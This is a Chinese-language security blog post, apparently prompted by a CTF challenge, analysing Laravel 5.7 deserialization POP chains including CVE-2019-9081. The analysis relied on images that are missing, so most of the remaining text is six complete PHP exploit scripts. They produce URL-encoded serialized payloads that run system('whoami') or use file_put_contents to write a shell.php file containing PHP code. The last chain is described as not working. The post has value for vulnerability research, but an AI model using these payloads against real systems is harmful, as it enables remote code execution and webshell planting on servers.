前言
也是这次的第五空间比赛中,出了一道关于Lavarel反序列化链的题目,引发了许多师傅对 Lavarel5.7.x
版本的反序列化链子的思考。
并且这么多链子跟下来,感觉有一个字直接灵魂。 巧
这里防止文章过于冗长,便于师傅阅读和思考。所以这次直接用图片的方式分析一下POP链。
某些链子在7.X版本也是可以使用的哟~
想申请一个论坛的wiki的账号。
环境搭建
可以直接利用 composer
安装
composer create-project laravel/laravel laravel57 "5.7.*"
然后利用 artisan
来启动 lavarel
。访问 localhost:8000
即可
php artisan serve --host 0.0.0.0
1.0 CVE-2019-9081
1.1准备工作
首先我们先构造一个反序列化的利用点吧。
编写路由
routes\web.php
1.2 漏洞复现
1.3 POP链分析
这里尽量简短的分析一下这个链子吧。
绕过 createABufferedOutputMock
之后就回到了 mockConsoleOutput
函数里面
出了 bind
也就来到了 run
方法
这样就进入了 Container.php
中的 call
方法。
最后的执行栈图如下
1.4 exp
<?php
namespace Faker\ORM\CakePHP;
class EntityPopulator
{
public $expectedOutput;
public $expectedQuestions;
public function __construct()
{
$this->expectedOutput=['Mrkaixin'];
$this->expectedQuestions=['Mrkaixin'];
}
}
namespace Illuminate\Foundation;
class Application
{
public $bindings;
public function __construct()
{
$this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']];
}
}
namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand{
public $parameters;
public $test;
public $app;
public $command;
public function __construct()
{
$this->command='system';
$this->parameters=['whoami'];
$this->test=new EntityPopulator();
$this->app=new Application();
}
}
//echo serialize(new PendingCommand());
echo urlencode(serialize(new PendingCommand()));
2.0 巧用Format
2.1 漏洞复现
2.2 POP链分析
如图所示
2.3 exp
<?php
namespace Faker;
class Generator
{
public $formatters;
public function __construct()
{
$this->formatters = ['addCollection'=>"system"];
}
}
namespace Symfony\Component\Routing\Loader\Configurator;
use Faker\Generator;
class ImportConfigurator
{
public $route;
public $parent;
public function __construct()
{
// $this->route =["whoami"];
$this->route="whoami";
$this->parent = new Generator();
}
}
echo urlencode(serialize(new ImportConfigurator()));
3.0 一条非常巧的链子
3.1 漏洞复现
3.2 POP链分析
调用栈
3.3 exp
<?php
namespace Illuminate\Database\Eloquent;
class Builder
{
public function __construct()
{
$name = "<?php phpinfo(); ?>";
$this->localMacros = ['register' => 'Illuminate\Support\Arr::first'];
$this->$name="shell.php";
}
}
namespace Illuminate\Routing;
use Illuminate\Database\Eloquent\Builder;
class PendingResourceRegistration
{
public $name;
public function __construct()
{
$this->registrar = new Builder();
$this->name = 'file_put_contents';
}
}
echo urlencode(serialize(new PendingResourceRegistration()));
4.0 巧妙"故技重施"
4.1 漏洞复现
4.2 POP链分析
这个链子是在第一条链子被封锁的情况下的第二个办法。利用 call_user_func
去触发 src\Illuminate\Foundation\Testing\PendingCommand.php
中的 run
方法。所以这部分只分析到如何触发 run
方法。
操作栈
4.3 exp
<?php
namespace Faker\ORM\CakePHP;
class EntityPopulator
{
public $expectedOutput;
public $expectedQuestions;
public function __construct()
{
$this->expectedOutput=['Mrkaixin'];
$this->expectedQuestions=['Mrkaixin'];
}
}
namespace Illuminate\Foundation;
class Application
{
public $bindings;
public function __construct()
{
$this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']];
}
}
namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand{
public $parameters;
public $test;
public $app;
public $command;
public function __construct()
{
$this->command='system';
$this->parameters=['whoami'];
$this->test=new EntityPopulator();
$this->app=new Application();
}
}
namespace Symfony\Component\Routing;
class RouteCollection
{
public $routes;
public function __construct()
{
$this->routes =['Mrkaixin is beautiful'];
$this->resources=['Mrkaixin is handsome'];
}
}
namespace Faker;
use Illuminate\Foundation\Testing\PendingCommand;
use Symfony\Component\Routing\RouteCollection;
class ValidGenerator
{
public $generator;
public function __construct()
{
$this->generator =new RouteCollection();
$this->validator=[new PendingCommand(),'run'];
}
}
namespace Symfony\Component\Routing\Loader\Configurator;
use Faker\ValidGenerator;
class ImportConfigurator
{
public $parent;
public $route;
public function __construct()
{
$this->parent = new ValidGenerator();
$this->route = ['Mrkaixin'];
}
}
echo urlencode(serialize(new ImportConfigurator()));
5.0巧妙的"故技重施" X2
5.1 漏洞复现
5.2 POP链分析
这里也是和链子4一样,寻找可以利用的call_user_func
去触发src\Illuminate\Foundation\Testing\PendingCommand.php
中的run
方法。
如图所示
调用栈图如下
5.3 exp
<?php
namespace Faker\ORM\CakePHP;
class EntityPopulator
{
public $expectedOutput;
public $expectedQuestions;
public function __construct()
{
$this->expectedOutput = ['Mrkaixin'];
$this->expectedQuestions = ['Mrkaixin'];
}
}
namespace Illuminate\Foundation;
class Application
{
public $bindings;
public function __construct()
{
$this->bindings = ['Illuminate\Console\OutputStyle' => 'Mrkaixin', 'Illuminate\Contracts\Console\Kernel' => ['concrete' => 'Illuminate\Foundation\Application']];
}
}
namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand
{
public $parameters;
public $test;
public $app;
public $command;
public function __construct()
{
$this->command = 'system';
$this->parameters = ['whoami'];
$this->test = new EntityPopulator();
$this->app = new Application();
}
}
namespace Illuminate\Validation\Rules;
use Illuminate\Foundation\Testing\PendingCommand;
class RequiredIf
{
public function __construct()
{
$this->condition = [new PendingCommand(), 'run'];
}
}
namespace Symfony\Component\Routing;
class RouteCollection
{
public function __construct()
{
$this->routes = [];
}
}
namespace Symfony\Component\HttpFoundation;
use Illuminate\Validation\Rules\RequiredIf;
class Cookie{
public function __construct()
{
$this->path=new RequiredIf();
}
}
namespace Symfony\Component\Routing\Loader\Configurator;
use Symfony\Component\HttpFoundation\Cookie;
use Symfony\Component\Routing\RouteCollection;
class CollectionConfigurator
{
public $collection;
public function __construct()
{
$this->collection = new RouteCollection();
$this->route = new Cookie();
}
}
//echo (serialize(new CollectionConfigurator()));
echo urlencode(serialize(new CollectionConfigurator()));
6.0 一条没搞懂的POP链(失败)
6.1 疑惑点
首先还是和链二一样从 src\Illuminate\Routing\PendingResourceRegistration.php
的 register
函数进去,
然后这里也是想到了利用 call_user_func
来rce
然后触发 Logger
的 __call
函数。
一开始以为这个地方是可控的,按理说都应该触发的是 call_user_func(xxxx)
但是这里触发的是某个类的 register
函数。导致产生错误。
所以这个地方有点没搞懂。希望师傅们能给点思路。
6.2 POC
<?php
namespace Illuminate\Log;
class Logger
{
public $logger;
public $register;
public function __construct()
{
$this->logger = $this;
$this->register='call_user_func';
}
}
namespace Illuminate\Routing;
use Illuminate\Log\Logger;
class PendingResourceRegistration
{
public $name;
public $controller;
public $options;
public function __construct()
{
$this->registrar = new Logger();
$this->name = 'file_put_contents';
$this->controller = 'shell.php';
$this->options = '<?php phpinfo(); ?>';
}
}
//echo serialize(new PendingCommand());
echo urlencode(serialize(new PendingResourceRegistration()));